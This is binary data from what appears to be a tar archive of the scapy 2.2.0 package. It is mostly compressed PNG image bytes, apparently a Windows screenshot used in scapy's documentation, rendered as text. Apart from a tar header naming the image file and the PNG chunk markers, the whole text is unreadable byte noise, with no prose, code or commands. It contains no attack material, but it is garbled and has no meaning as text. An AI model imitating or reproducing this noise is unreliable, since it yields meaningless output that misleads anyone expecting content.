;{÷îÅa<`ÀŠ¡&"ªNÞ¾};>>T*TBÁíââb$æ‡_Ž=ÛP,‚oÍ'8¨ñÞ{ï …Â°°0€ê5þpO€2D Øw~„;`-Ó%P®˜²0òà1¿[Ep ÒéV9O“º)+•Ý>r[£Ò  Éû‚ZMüv¢#ÑT7©¯Ù,A€ `oTMep¬¢-`°z@óöÛo3ŠÔÇþì³Ïpº™ 6€Ê@õòÕW_¡ÃsÏ=wúôéwÞy´ûD…&”œ„q`` >¢ü?ÜÝÝ—/_ŽO?ý4– TÆø…}”Ëå(YвeË¥K—¾>w΋׭?YȪ4â»Õ°ì,-ƒx|§JÏÛªÆ8::|6*¬ª'äÞP+Õ¨éxxÅap¾/ß;ÌÛ=À½ÓxRzì?(‘‚AÀ†TMeÀ9P;77÷Í7ßD4 T,¨ØŒPj´£££aZ‚ÄÐPŽ/à7(|ˆ>¸‰°ÀŠ„; 8 /øiÜžBaC}D¼7ž‘ s‚2zxxŠ3f€8.P•¼>0ÐTkRs”` pc=J%SóyšlÏ´óiøWP–_vcÿ ÏÏþ¯ö‡wl²_ ²q‚AÀn¨šÊ@\P“¶mÛ‚Êà:.’ô÷÷§ø >¢ƒ‘ˆ@OÓ£G¨gà"sëÖ­W_}µš’Îà=nlÛ-:Ö KÁ¢°ßCa~v×°`kÊÐÄ×BüÑþ%û5J §]|\à ãæ5eõ”& Ù>A€ @°sª¦2 pÔ…u)((n¼ØCyyù£Qნ(”ÓÌäÉ“Ak¨=ƒñ€úPE¶Ñ Ä¥ú¯Âþýûá ƒnð.z11±Õ!O눒ð*¥J|3O¬?!-‘‚Á´Õ… }ñó¯ãäd8A€ @ Xs*ÛL&ó@ÔØ Ü_P ÓR~~þâÅ‹¡JÁSJ2ô¤ŒGÐÊ ?NbxϤ¤¤¤¥¥!9Jpp0Üb}ýã?âx7nr¾a,BŽ©áð 1¶­³U;_%!!aõêÕ/¼ð|¢¿ûî;¸Z•4v.yƒ/çFNArÍ¡à^´XêHwðÆgwgÜ¡³H²€÷>‰À‚@SGÀ<Û/’ÁP±ÓÐÁ€  ”ž¼ÞÞÞðqiÞ¼9²çåäätíÚÈ¢âÒ»woxxÌž=d!Ä€3)) ~6ëÖ­ 8yò$f@ †#]Ê™3g ã 7È  ý#""šúøwÿCH"ÕüàÁƒGŒAôXÿbS×ÿªä˜}~ëy4‚Z9{:Þ¸þqlç&‘¾¯®’ñ‚AÀŽ0§2O êÏ?ÿüé§Ÿ‚µÀ™ÑNÇð¦M› ×y‚ÙšøÐGP\M‡ºo?ûz¶²B ;]…¨âæÁ›h„µ‹™ˆDÊÔa2A€ @°,@ePëÉfõTé"-ʨQ£Þxã žìd“DŒ&‚@nRîùßÎ#Ù.§=‚=ÀWÐptG »&‚Ù&A€ @h‚X€Ê5`Ã`K’ÿ¶jÕªuëÖÄ8Ò¿LÖܲ¼L§]¸è"ìèøšãj…™ëücý#ºDÀ÷:˜Ðv¡Ö”‡¬E ¶BÀ2TÆVÒ“u›—·ªiÕÚÒ¼Rq¶˜Áa@õ2øíÁ>Â}$Þ%º©}%È~ ‚¡2ä;`w€©@ÅB‰•—”wö׳`*P´à'”.¸"àòbw¢‚AÀê˜SÄHSå Ÿø¯[DhÃwÕÕÕÕê{iØ "²X,n–ªLn„!ôðgB¼•Ùxß~¨)]”^D}å`0J¿”ŽLE‚[·~ß^ ¥ Ï“g?bI‚AÀ0Ï+ƒØi”„\¹rå¨[¶lAÎ_ªÐ’=ì°¡È€$„S¦LùöÛok Ž²ÈÙSTT4lذ¡C‡RÛDxüO?ý„Œ…ƒ B …*•/¿üòªU«¨bXvÈÁåå9E_’O'·Þ–ëÆ…làÁ]žëâêG¨°¼("A€ @°wÌ© NÁ»wïB™ÿÄ‚#™Þ½{÷žxx“Ú• òš €4zãÇ A m¤%œ;w.U·¼oß¾Èèóá‡"?nb6°R>Ÿ_Ùk²úcû@³R”VŸ\ª'ˆ’’˜±EƱÆubqYÔÇŽã: ¢ I¥ÉE Ú"ðàh¡FÂQM¥šÌ^÷j²JãëƒÜÇ@Ô¤&[CÚĺ¯X±u!PI¥² wFgâĉӧOÇ Ý»w‡ŽÅÉ¡ãÑù Áoj2óô¹wêž8OŒ¸!j¬N£SÊ”ù·ó¬ûß.T5ê<±sï½M'7ö7½IÚ‚A€ @¨-æTÆl<òó"ÄÙ~q(RÕ”$É‘#G ziÓ¦i¼óçÏ_¿~aØøëÿ‰ýlÌVoRy<Þ믿ÎápLw’0!¾º‰ Ëðz‰¿víÚðáé7‚„˨;³fÍjÑ¢Õu¶Á]PË T5Ì¡ž© CUH´ûšS) m(ê®í¹–z.•Š2>Öª´áù®\£*¿¿/Ü/ÅeìI‚A€ @¨ª¦2à"ð]¶lÙŽ;Pv ##ã÷߇§§çúõë‘ØÇäš5kP¡ Éñ ÖæÍ›ß{~={^¼xñСC 4õ!kãž)yÆ ¾Àà7(ÌôüóσÄ̘1côèÑ 2¨ C‚W‹$ËPÃ!‚' œoBCCqUÍ¡¹A¾)™—3œÃØ Ø€¤bé£wU„‰[Ún7ü£áæ\GOsñ6”À$A€ @ l‚@ÕTÞ‰‰‰¿þúëÖ­[£££ñùûï¿OÞ… ¢ö52ùBVPðœ²P$€ô,Z´ˆ:JgΜ ]‚M6ÓøE対úê­·ÞB‰r¼Ž¶mÛN:ÛÄË1ݯ©{*}â *œiLû@ƒ"Î}` 2}UŠ›¿ÛÄï'šÞ$m‚A€ @ Ø?USÈ}üøñvíÚÇ  % ÂaÞyçX—`­€ÉU'¯^½ ÷üéx%œ£è@í6,, ìç EB˜Š,X0iÒ¤nݺA1f,ÏdlP1~AI,ðK¼/³èkž¯Ë¤. eãDN‚A€ @ Ôª© ¨ ²Ëà DÃèø‚Ò͸`KBýH<ÂÙ ·üÄÙ § ãQj¦-¨‰¤OõÀWÉÏÏÏ41Œ‡‡‡L&£FMâeQµ<Ñ xÌ×_MyÒT?3yJ †Ž@Õ˜A_àÕ{öìY£~娱cpšÁÇ>ø`þüùûöíƒ N .qqq%%%7nÜ °€c a3uÿZ€&Â] óÀuú•%K–@†¸kjæ®]»ž:uŠj_ºt Ú2¼ô‡mt#<¦î¯€Ì@  s­ lFTºÞ>}útìØÁ½p5Åa‰P&8üR¦§OŸF^“7" ¬ ƒ±cÇ"ªØ3XNLLLƒØ¼= ùÒK/!j eΜ9È€'_¸îâuÀc ‘Jp¸Þ¹s'ìM€j|„Îæ£>BÒ<<ýüóÏAkÀGa– ·çmÙ‚A€ PGÌ  »]jjêÀa0‚µâMR1IDATL 1ÁÁÁ#Gޤ²Ð‡7aò@Ü/4ýû÷¿Aæ’_~ùA4ðK¥™ Q[%kâÃ÷ìÙG%ï€*òùR¡ÔÉÉÉpdzAž¼)䕇5H'rÉ ±¡5B‡€m»ÊðkŒ4‚A€ `)Ì©Œ¥æ%óX¨Ä@"aæ³ÂZd ‚A€ @ Ø'ÿ­ÿȦ $+]IEND®B`‚scapy-2.2.0/doc/scapy/graphics/scapy-win-screenshot1.png0000644000175000017500000004031311170743163021304 0ustar pbipbi‰PNG  IHDR¡\w$ðS IDATxœíÝy|åýðïfs’pƒ%\¶Ê)‚Zñ¨ hï£*R«"‚­õĈh=ª U<ðlEEnÔ$¨˜`‚ ­rB „csïüþxfŸ<;×ÎÌÎîÎn>ïW^ymæxföÈ~繾㩩*'H,ùù3’‰(;7/ÖgŽY4ÿu"Jf”nÙÓ“‡%óG]»åÆð<ÀûöV³ÉâÒŽw¶‰ÅÉó'ô*Õ&Í¥z«”Åhìhp$z+MuVyŒ÷Rm´F•°Lw•î+ëÑ}Å iêRík¸—ÖaZö1x›4Ö /‡Î*­¿”« `ðN ç«·—Þ{¡¿…Ö3Öê?Iƒ÷Wçí0þ¼è¿S3·òeøéýþjoúý¥ Ûà¤Áà?ÙàÒ_å!³ÿ‰¦÷ õ­¨½‰ÙwJwkƒwJõ‚¼‚:e<²ö­è!S08;a•Ñ”+,¿?NŠáy@ä$‡Þ_Üaaãi÷Üöüì¹–¶ßxÂ\Ga{‰ã,;\½ÇÌfŸ­ZaoûpöâãìhlðEtûpöbИãb<@bB<@‚»æ·)gýÆ;¨»wøÓÇb}.U.Šñ㇥O:/ëüÁéìÏ?Õ»£qîêc›v6êíÒ<ÿWìA‡[~©öI|ùö:ß%…ˆ~3yßÎÊf¾<7ÓsàÍ㈨ӭ{Åí{uJúï ]‰hGESß©û‰¨aÞqlUÚu¿°õóŽ#¢ÑO\»­A<‡º÷º±é7ì•—ü«›â<×l­[üMÝ[µO?'Ó3óʬs¤õéœLD;ö7­-­« ¶dwßæ»g:°µÿr`W¥_Ü÷ÿ^îLDÝïÜ_SÛò¼zvLÚúL'"Ú¹¿iðý‡ØÂ{FgÜ<<£wçd¶|í¶†Ù+}»+ýDTóFg¶MÉûkŒN6 êî|~ú9'¦ä¶I"¢ue on˜W¨ýÙ»sTÚõg¦õêè%¢-åM—4Ìù¼ž­úev;ö ßÕ‡Ýñþm|F¬ObÃJ[½ä÷H©)ÔO#IÍ¡Kôîì-~ªÓ‚{;òOD§ŸöÇó³^d”awA¡<Úpü° o±…Eò—ëÄó2Å壥)È›’ü-Üâ[ùý»ídü50ýå[r™ÓyÜiišŒ;-mï+]n=· áDÔ§sò­ç¶YÿXÇã³øfK¾©cnô|ÏퟪxÀÜ2\ÞlI±¼ãºGÚ͘жwà(½;'ß2"sÙ´\Åf—šNQwRž÷‘Ë27ΈANå‡.Éøì¯9c‡¦±ODÃû¦þýš¬ÂéÙÙªø¸òÞ¶Ídžˆ÷H~xlæ¶'rz´÷ÑòÍr°¿ää”(=€ 1>½¶°_§ÿ ì¼s@§ꟓ»íÜu÷_•ŸÖ¹4·~§î“Åæfz6>ÝùÔ㵃ßÜÕF­‹ å|Û¨ ,¼o¬ÖŽý£¦)È›.oöÆš™í³¼óÚeyߟÜNæÏíŸ2ï®vz{Ý{qÖÔ å+•·-ãN ŠÁz1žoööºZ"š}CÖ^§à¹ebÉÆÀ5ÄðÔüÖ>Øîž 2{uŠAÛÒI=¼šË{uô>{UÐeâ3Wf î¡q†¹m’¼$ƒˆ>)‘«þסý‘ˆ ß§ý†ìÖ…üutI¢óû·=ÚàÉMm>ý þu„ ÿ»Žz\c¦Ø¦uhŸ%Ãþõ½ê×W«ñID4~Xú«“Úñ(®iÑ9&z|jn¦§&Ðü¾ó@óOÇwI9¾KJïNÞäsÖ¬Ç÷ê”Ô§K2í¨hÚu ¥\Ïøao¬õ­-m¹eF õ~ÜoÓf^™ÍŽòòÍÙkK+k„ž‚÷î”/6íl¸ëíÃ[v7шþ)÷^”5r`ͼ2û­‚ÚíªôïØßÔ§srŸÎɽ:&ñæús¤*QÏŽI¼A~w¥ŸÈÃCþôGf¯¬eÛL“¹ô[¹ê¹ì[ùI é•’“A­§¹~æ²ÚŸô¯õõ_þ¯‰ˆ²3èá±™7ž•NDc‡¦ýñåäÔêcþ¿Ì÷}º¥‘ˆî•öðØL";$íöw}Ÿl‘cüàÉÙt¸.ªOܬc—¾k++Ê?¢…’T|xÓÆ$oªæÚÛH"ÚOT.ùjŽvM–›4· 6jP*oŸŸð\å¢:~WŠ…Eu«¿Û'öšß76ë©ërïŸWýìò–Úö‚Bß„32‰hÔ ´ÅZ¾P×|_Ϻä'ŽÊ|èÃ#D”›ééÓE®Åöé’œ›é©®•HhX³µÞÜ+AïOÎívû~“Ñ’âú%ÅJŸíÔ§Kr»,ï­çf<ÿ©6Æ–Ö.ËKD;ö7ˆ÷A(ØÖXðCÕ—¶Ú;•ˆî½°Íô…LjhmikÏ¿yDÆ£ QN¦§Ðöž¸Öá õ|A»@C4 ðD´»ÒÏ¿ŽŠwXXR\Ç.FôOå!Ÿˆ÷ðÞ3:sDÿTVÈÎýM%åMË6Ö/ÛÔðùƒ¹¬y ×”âeÁàÞµµ'¢Í»Gý­fpï” 2†÷ ”p iËî¦e›–oj ¢ƒ¯vä;V¾"?îø§J¾ð†³Òn:;íäž)D´ë@Óº²ÆÇ—új„ºÿåDtÅ‹5c‡¤ŽšÆŽR²»qùæ†77L>?ãœSzuòѲMõ3—ûʶ|´¾ÿ¹yÒÛÇ(ðꮥûæûXŒW¸ï£Z"ú¸¤ñËÿ6±—mΚzã¹å›ëÇI#¢ßüéwÿ×K¹øäÔsNL!¢jŸÿËÿ6ÍYS÷ýÿù‰hÏó¹DtÍ«G.œzñà”ÜÌ$"únOÓ'[?ÝÒxÇÈ´³“ܳ£—ˆ>)iøÛ¿ëö’…g§Óý¦_48%73©Úçÿt‹îpMWÿ6åšÓSNêžLD»6¯ÿ±ù™õüJe渴kO—¿ÆþãXé/òUæ€ã’–O–ÿ>ØÐðÈ2ù“sÕiÉWŸ–2¨»—ˆÊ6¯ÿ©ù﫜½îéßÍ3éw)göñæd&Qù!é/þ•¥M«¶]¯O8Å;z€÷Ì㓉¨Æçÿz‡ÿõÛöʯ^á}é9òGM­eió󫛎 ߥÓåÿ¦çV7\949¯}}½£ù­õE»äBæßš2à8/ùLÝ¡ Я«ç£‰iDTúKó5oé¾ß=$W¯ÔKÔ,Äø¦²/7ÿû5S§Òo\rî©f>h“Γ;›_ûìèÂ"忾à‰è©ërÙïà_Ëbü„abŒ_XTË ¿mTã}ð£¥-ú¦Žˆ&Ž”¿ ™­·²ûë^ª6¹=óðG‡ßŸÜžˆ.ÿm:ñ·ŒþÈGGÔ»<ÿé±÷îJ%"ÞÆ¾¤¸îÖs3‰è–árŒW´ÏŸÛ?uéÆzÚÛy/ûæ]¬œ?œ“þÎÚ_´K6Ê1~Ü©é<Æ_zJê»·õPôîœÌ –mjx÷ËZVìe§¦½ûeË÷âM¿“Oà…Uµc‡¦¾óÇì :%÷î”LD,ÆèÑ!é­Û²XtgzuJîÕ)ù¦ßeÜòÆá7}i.º;Güóäž)'÷L™~YPWÎ¥CÓÎ91å÷ÏÖˆa^á¡Kä“_¾IyåÇÂ<Ç;ìyOü'%,Æ_rrª"Æ÷hïùðOY=;¶t äf&]rrjIÍ:Ê~p{[q¯“ò’OÊK~ðâ ”‹ON=û„ä‹fÃ|^{Ï'S²Ø•+Ü|—A^;ÏK×g°èÎôìàíÙÁ{íé©w¾ç[±µ™ˆ^R?èWIƒº'ÑKצŸûwùcüÒµòõÐ÷?7=¼¬ÁCÔ½çפ³è.?÷Þ¼×ü6uòûµ+K­ ÙÑsAï‹W]ŠõhŸÔ£}­ \ÚvÏ¥7oJg ™œÌ¤1“òÚy&߲̕Ò_üg/o“‘tÕ©I£x/x¡þˆê²ÿÞóZþÝÎìã=³÷£ogü»‰ˆljf1þ÷ý“•´\aL"¿o~mêYß3²å£~Fï}¼ 65=±ª™ˆmnf1þü¾ÞÅ[ZqÅÉò!Þ.ræ……ÈÑ ÉÆU|q3V‚Éí-ôÇ7K"=z´$I’$=𝒤 ïJI"Òýò rJùÓüôR§pÿ¼jþ›[ó½ü_È"=÷ùÖ†CG›‰¨}–wäÀT ôÁï¨hÜQÑÄÿ9 •õ:Úü¹‰æw"Zó}–!6Œ›±¤X>UV5—÷’¿R5¾d£¼ËÈÀ‚‚mUG›‰¨]–wD¿ Äøû›vîoâŽè—šªŽ6ü GÁGÊQäÅ›²—NËéÙQãÝ/|3Š]þ³oÈVoID/¬ôÑÒÀIò ND9ô‡s2ˆ¨ê˜ù¦†Y×gi—°*ôu•"À­š˜Ý£ƒíÚ$)*ßܾÛï{±ýäó3ˆ¨ú˜ÿ‰å!Îðú3å·æå5òeÓÿ•_ðK†(?!xnÎ;uÛṲ̈. Špb€·JàE/_Ÿ™×N®5Þ5¯®Úç'¢¼“ÎI!¢Iç¤ôèà%¢jŸÿ®ä'¢ð¢\›Ñ½3wç||¬öÿàܯZ®üž{c}Ë6¥{•t9IÓÎ3Uºò””~]=DÄ[& myâmÓhÂ)ÉDTSëÿ¬,tW ¦ C“ûu!"ú¬LáW !â%¢šZiõvsß¼‡øÅAÇ.}y€Ù¼o%Æ77ÑŠ+ÆŒ3f̘+VÝÅoÞñ]åïîûC_~>³ü¨÷ªŸŸ]~T\Xí“6þ$‡¥+Nú¾ã£ëÙ:V_XTË–³?ù ¼EÌ~É^ûù"ãýÉŒo‹Pã3ûϹ8p­ÀÂ0»ÔXR\Çêë,Æóͯˆ¨à‡ÆçTWóÑÈiß?Ýqé´œÁÁÃÍjjió.ù»ïÒSä/PÞÈ?üñC¹·&ØRÞ,î"èk©Ä¯ô‰%œûDU‡Û+ùÏw{ä÷½Ãí-ÍòÿTÉ~ˆhòùé¼}þŠj:Ýq°ÓOy¤ªd·|’Ó/U†êÎwì|çÁÎw|÷«–ðüϯêºÜu¨Ë]‡þù•üF_:4t÷/ó}åªÆpQvÝ5*ˆ¾ØÞðýÏò7øáZÚR.Wß/Ü'î™ÊFãWóß÷ѱîÓª»O«>cfÍÇ% ê&ý¼{kØÏ{…-ïà¼Âú®éñçšy…ŸÜän‘Êü¼Âú³ÿv¤ç__ûš©9ñžÊÛ篛{¬÷_ô¾ÿÈð§~ÿ³|b÷‘_®=UÒCKêø^ÙéôÇáò9<¼´îç*‰ˆ&ÓÒ>㛾_?xô×ñ÷cßÿ,¿Ý¹ÀÚõ±žœÀó½ü_ßéÇúN÷õîëû¨7ÂO<+™øŸúòú~ù¾~ù¾ógûVl jÌŸµ¦©ÿcµìç–ÊÏ®ÿq_^¯0£vÀŒÚ‰ÿª+ýE~:·ž™LDGê‰-aµyfüPk•x"ºúÍúÁOÖ~²~Òû üâãæ3Ø!ËûžÝ1öáàÃý.?-wÆ/)®gí¬K~Ü©òK¡˜Í¿ôÛ†“þZ9}Áé¿|´CþåAMÙl> ½³Vȯðˆ~©9Z#îY '¢K‡Ê»L-‡Þw¿¬%¢Ù †÷KÑ,AÏ¥§ÈOä–7Ž~±]Ž7åýã_<ÌŸÓWwŠÚ_>ô©‹ CzöªL6#NÏü;Úæ¶Iª>æŸôNP(å1øw'´œÞŃåç¯ |ïÉ×({Iú§Ñ)=°°åêóEuŠ¢‹N’uÿB߃‹ëYþúM}ï_x’|-r×{µ_ÿ(Ç•=UÒ oȆ³~Ý·Vlm~Cåf&m~´-»°ø`CkÏ'¢1åÒ&P÷õOri?WI7½-—væñÚU|æ¿3ÛÈ?Ë?z[¾þE/°­Ö|ÏÑä=úqÂoåÓû¹š¦-T6›M•¼rrÚ¶G3ÞºQ.hàq'¹mŸ|õP´SÊÿT~yÄåüü¾ò’[Ï” Y¸Élþ¡B~°a—ôø¿åC°¦"z»Pþ/8ïDyÉÍÃäC,*AŒ% 1Þë•ÿoGÍZì)P_¹r%٪ʳæt"ÊÍ´ßv·00ö^1SŽWÍÛgyçLÌe‡Û¼«ió®&vÜ9søþÅßXh,}î“c¬Á_qDc½:ɯ6Û—© ¼9Z¯_È7#¡m¼]–÷7µekKv7•ìnb›½xc[Þ<°t£òÚ¥¦–f¯¬íywåôrÿÈÔ Ûð*;- Ì ã³ä[|Œ…ùÇÆgí~±ÓÚ‡r½©U¤»ù¸D~A.Üãù¤»O·DdTÔIyrùl°6ÎŽˆx+ýÇS²v>ÝvçÓmw>ÕvÇSmKò告.€‡—Öó*>±nø¥-Ÿ4ÞJ¿ì®6?>™õã“Y?>‘õãY›ÉÒ,ͶçV7²0ÿçß§?ØfáÓ¦—,û¿’ÏD1OÔ6 ïK¿íìÍ&}?â}^`Çÿü å‚þ¬×<‰ å[ðm“ºkßÔ!ñž Á#"Þÿû~^":ïDON†‡ˆnnGáABRôÁ›é’·üŸÆªì¬Åžõx²[•ÿö'ùË輓ìO&æÍõ¼ëãIrXo=U·¨¨Žˆ& “ëš ‹,߹j¬îrk`xo '¢M»ä/Ê‘Z½û#5éÍ»‚¢Ââoä'rùo3Hh½gUy¶PÜLÓ앵7Αû¦Ži©*ñ¶÷vm’†jÉ-öõ¼ûÀ¬ÇvîoÒ+eê˜6%Ov{ôÙÜúq§¦Ñ” ‚*ñÌŒ%¾Þ÷TÎ^éÛy éäž)÷ŒÎüvfûž¶zÓE»8/×ÒUsä.¡±:MúN¹á¬t"ú¢¬a^¡²RÈ›ësÛ$ý£:k¼Ø}ÐÉ:b¹s¥=·ºñÔ'½þECù!ÿÀ_y'“ºzJzw+íkÓÎKáƒê÷²´‰ˆ.èŸLB%~Áf'_½ÿüÐLó0ùâ •øbäâO„ŽÂTV”‰}óÆ{YÎ7Â[éM.7¶ ÐÇæÎ½öÇv ‹öZÝ›»æØ©Ç§ÑøaŸomùÂ]XT+ŽÅã³ãÖl­¿í¼6Âf–G<­-mXó}ݨAfóÁõê”ÄÆÃSp›ÁâoêØè¿{/jÃåq3®”kQ‹‹ƒÎpqq=ä$4ȯÝÖp˹-Ïw‰ª¯°T˜/.{]ËPùueòIM-=¶Ø÷Øbߥ§¤¾{{N»6IoOÊù¤|•°lc= ðÓÇe²}whbö\M-ÍXê{|©oìÐÔ·'e·k“ôÖ¤¶£þftµ´ë@ËŠsü½5RÃÆ¨ÞÒ£½gî-YDT}Ìõ+Ç4Oc^a=«¸_|rêWÿ«%¢]•ͬ?þìßx¿2ׄnIµÏÏêÇgýÚ»þGkûvlîÙÁKDƒ=|¸ÎCD|«¦™—¥ è êž<ó²´‡—ÉŸ·òƒÍlÞÐGå™r²Ì¼c'<èø0÷þ©£çW7>¿ºñ‚þÞ®NÏÉLš}eÚø×뉨üŸÕ·õN*Ú©ýšŒî/´çoj&¢mšjŸÖK>¿=‡ZJþÏþшˆî9×Ë:æ÷òó¿U§óCT‰‡hfþî^ÖM°§Ê_V¡Y¸N˜W<ºWV”9\ON2»q’ÇCSŸé…µ|ôûÿè2~˜2s3=÷ͪ|«[ïΦê@|x^—<Ã[ï#ì>7=3^Äß…4î´´¯ë(σ¯hc9ÞC{§þ뎜^šñˆþ)ß?Ó‘õµWmæ}䌲—=Ë-óŠÍr2h鴜˄fùü+ä Ö=/(ŸÕˆ~­ »9…Ä+ƒe›X!¼Ià±Åº£½x šæÏ91™ˆn8+ˆøÆšûs.’"n³`r[õ¾ö êî}ýæ6¼…¹G{ÏëŸÅ®J`<ÿNùЊnxÑÇ„w¿;AŽ…_þWnrxõ¦6ú¿³Óé•3ó {ýMúêrùsnȼp\¾Øn`}`ßåw·3¨e—3Oúç­Ê€7f —Í’¯öù‡sÕ>éþ÷j^¿½=ß5eÁ½¼:©Ý3åך9px9š‰íª}Ò·;Né“JD«¿ Šë«¿«;ï¤t"úvGCµé1튃>ôáá'®ÖžWFDµª›ÓÑEÏÿ¬ñIÏ?<óªl"ºâôŒ+Nר@\?Gy1Qã“6íl`sð>/ ŠëŸ—ÖFD›v6(Æêß<›2ÇWådÐÎÙÊ7—ˆv -íUÇü¬s}ñ=ò·ï¿Ö×ÏXrŒ%´éÕ)ù­Û”/õ%CRóãíyøÒŒá}S5›åß[¯¼þûðOmx²úîT^gwO{p¸V®¸÷êèíÑÞS~Hš³¦î†3Óˆ(·MÒkšLX~Ðÿ·OÃM óÊÚz6¬/73镵g2·O½ÿ¢ô§>­{50fíéõž”’›™Ô³ƒwÎõÊ}Ç ôòñtyíÿoß›kuÏáú—ª ¶i„1^³_ÜŒÏÿTTýI•åž[[ZŸ¯ªsó&?œ“ñÎí9ªˆˆ¦¾4qÙ·-áPì‰'¢·'i_ M›×R‹«4FEÔÔÒ­s(š¸»Ïw&¯þwåÚ!g]YÃËk‚bü£Ò†÷5;ïK‘»¾ü4飚[^<8Ä¥³[ÿÏ?¯ÐT‹Ôý¥óßÌá:ºs^-«‘«Ý>¢å)¿t]:ë(?Ø<¿¸‰ˆæ7±þõṲ̈—®Ig¥ÝýA^i“Îqfâ½p¥öh‰G—Ë‘ùçjºg¾öÅÓä¹à[Ýá §„n™¶°^Ñ¿j[ËÇIs8ýÔQ)ü·^ÜðCpS<ÜGè‰Cb¼?ghCç1 ].õ3º¡ËÅþœÁæK~àýçÜWñÚgGÚ''þ´¯ñµÏŽžú׊g„Ùðš9p¸¹:÷¡YØ2Î.(ê,*Òn··êÎPƒïvT4-ÚP{í? øË½|ø“ß9ræôÊEjùøùM;žûäèqwTèõ©óqv‹ƒ{ñùöêÇþ½jú‚#|Ä_Õ1ÿââºçT_6Kã)¼ý…ür]vJÚì¾%Åu<ÐîÜßôöºÚÁä éŒø'ŸMÇÌ^å[ºQ(á@Ó;_Ô}èÐe-_¯/~V÷Øâ£|›¥ßRÊlo:uzÕ «||N<•ìn|÷ËÚ{?pæ†èO|\{þÓ5<¥]õ1ÿòMõß:rõeùz™s4ÍûšÏb—¿Í?ÝÒtÆã5ï}]¿»’75ù?.i¸ý]gžÈƒ‹ë®}íè—$<Õ>í¨ÿÔ§uü7÷õÍß>úÊÚºï‚Ì¿¿¡áÁÅr!3ǵtÃßõ~Ëîüñ îÉ3/M%¢¯òü»ïÕ‚z>'žˆ¾ÿ¹ùƒoYæX2Û¹_5®ØÚX¸˜(?äŸ_ÜxÞ,_¡Ðõ¾j›ÿüY¾ùżr_ãó¯ØÚ4uü¤Þ\ßôÜg ¬½üîW<…².bCêHNyÛ4annžz–t¦ÅÏZÓÈ«ñK„šZiÕ¶æ«ß¬ÿ¬LYMÿfwËä¶žšªòìܼÒ-ºvËíx§î<Ô(ž‘þ8þÀæR½UÊb4v48’G½•Ʀ:«<Æ{©¶ Z£¿JX¦»J÷•5+itH­òª^ïDDK6ÖÝ:÷HЦ†{Ÿ¥Ö ½Uzï½:«´þR®28€Á;%œ¯Þ^zï…þZÏDX«ÿ$ÆÂj¿¡ÆÜ…x;´hâM㘡ß_­âM¿¿ôb|‚ZòÕ˜Q«³GÐÇáûGÒ‰hÕ¶¦?/nRn¤ó=ÅóÕ~Rã ûÞ IDAT²Lýš–€âCíŒ |¼ŽBŽÔsÒõf2…žü7[‰ï¡µBŒ°ì³UÖnÑbuûpöâ㬙vÏmÝ>œ½DˆñÖ°™èî? ÆÕ$¦ z|åËÎ$Ô€˜ Šñk×Åê< LW\5éàþíüOeüúÂâèž8 ?ºb‰Æ˜»Y/¼•“€5Uå¶÷ÍÏŸ¡^¨3®žeYV'd°ºÜ!üñˆ#Ô «;*–óÕÛ‡I<œæ¡#Dóõ‰!½×Áêkbð¼Ô«…ó?m|N¢ùÞˆ²sólìµhþëšËuÆÕ³h­¾Ÿ‚Õåáß¶â×®¸Pü–çô¾©-}w«#„ ñWÀå4ß&5õE˜f€×|ßÙcÍ‹óŸ“ç  ÷o·ú£W”þÜ9—…y«©Šá[Þq!çÉ+ƒwÖÒ»f|!ˆÄ5Ã8"‰H}ëB«ËUôÚ`Í4«š¡÷Å­÷•mÜ ®Vê§¢eX½=ß@Bô^ÍåŠrôXm÷t>o–Þë ®-((0Ù·b,œË8ãÜ'@\•ç.a^äÄïÐp"zÈÝõ‚«ÞùÄQƒ©Ÿ‹ú¸šùqM.·ú|CÆ*«çß&[¢÷VšOmx5ñ|4Ëÿñ"TŒÀà;1(¾m ª†Æ†ÜÆÞùè±wž1¡>U3¢ÿt ðŒA½<üÂâˆaŒØèz½Ê¨SßÂV[YÍWŽÅíã‚ OUý:‡àÃÙ×øsâàe@˜:vé[YQfu/ý1w ðì[•"<¬É|áf·oΙ„ùLÃ)G½WA€Éí~€wöc£W<¸GÇ.}ùoKtb|$çÇ+b•™¯Qþ,~k.Ô<ú¸z=ͤծþ×ýˆÍÓS”o|>š bHV_²˜<ç#n`†ÕôÞbKOÍêçÄà<¢O íVü§¦ª<;7¯tˆ®Ýr Ö®[_XŒÔ¸zp‚Sñq õ°1ÈN!>òÕkRt´;X&/5fˆ_:mõñÈÖñÐk<æ ¾è÷ÇÇC˜wño„yˆ;îÊWo{{Í6vÅöíðÆmò#·âP¨qõ¨Íó€j²Šr{Å|w«å$¤P1>2ùêI‰ÃÙÞjõQZwå«wj{«Œ[ã1º¢cÑü×,M?ÆG2_=jäêȪžg¼½yâîšCè5 G€€èÈÏŸál1˜Ï£)ÿÓÞözMîVËWïˆùñ}ùùÓÃØWãú@'ÆëEk«ËuDMÍUfªçµìrãÍ"!;7ÏÆ^z-üÈe à"â=i„{Ò$&íz<ï‡ÖËcr9YLw# ë=…ŠUŒÓà„ÿ¼\.Jmõ&££Ç#Gt1Š+JIRè08ÐÊi´Õó¸¨x`u¹Û$êóФãÕƒÏÙ«ËÝ&QŸ€¦xWÏ;æÍôÇÄhå¹s„vH`Žç¹óÔT•gçæ•nÙе[nÁÚuë ‹/w½z;>¶ÜüröÀêˆtõ˜;½…fˆG·zþÆÏ ÀY’$Ü¿½Cçíý>\½';7ïàþíûöV—•mY_XŒþø¸^ ðš™s¢ÔVo²6Ï{ÜÅÙqš M ^„àY=^YbMU¹$I[KŠ*+Ê~øÚÔ)cñ¼Z»ÊŠ2I’lÿf½²¢lkI èÈe à aÖãÕ"Ƹ‚ãýñqãóó)??&G–H’H•7À9¨ÇÇ¢;DA¼Ž«wF,*ñðŽ«w"ƳЫþMÁQY½·½ooõ±âR@øS=¡Îx: ðò Ò@¤…YOIÍTɶz¿ ¹bKÍíÅ…fÊWì",¡bpú<ÀlàÇûã#ßVoÐÀΰ¢Z¯Xè(«õx n«—HBÈ€q¼ëOªúºær‡XJF+†sÔé Òïw¢­Þ¸Íœo2f+JˆÑ49€˜pëüxƒAsýñšƒãBöÇ«/"|MÀ›ë1ò"Çñþxä«pä«HLÈs˜ÜçÎd¿;iuÛÛ¢è Ǹwˆ_®W¯'äÌøððùlì‡0&âY<ÔãcÑâ+óÕ“‰¶wsÓÛlä¡#xHnÍsgÂM'©µ”‡N„ÛÆ@¼sk=Þ˜é6ü0óÉÄ/·Öãb¯áôâj\}T 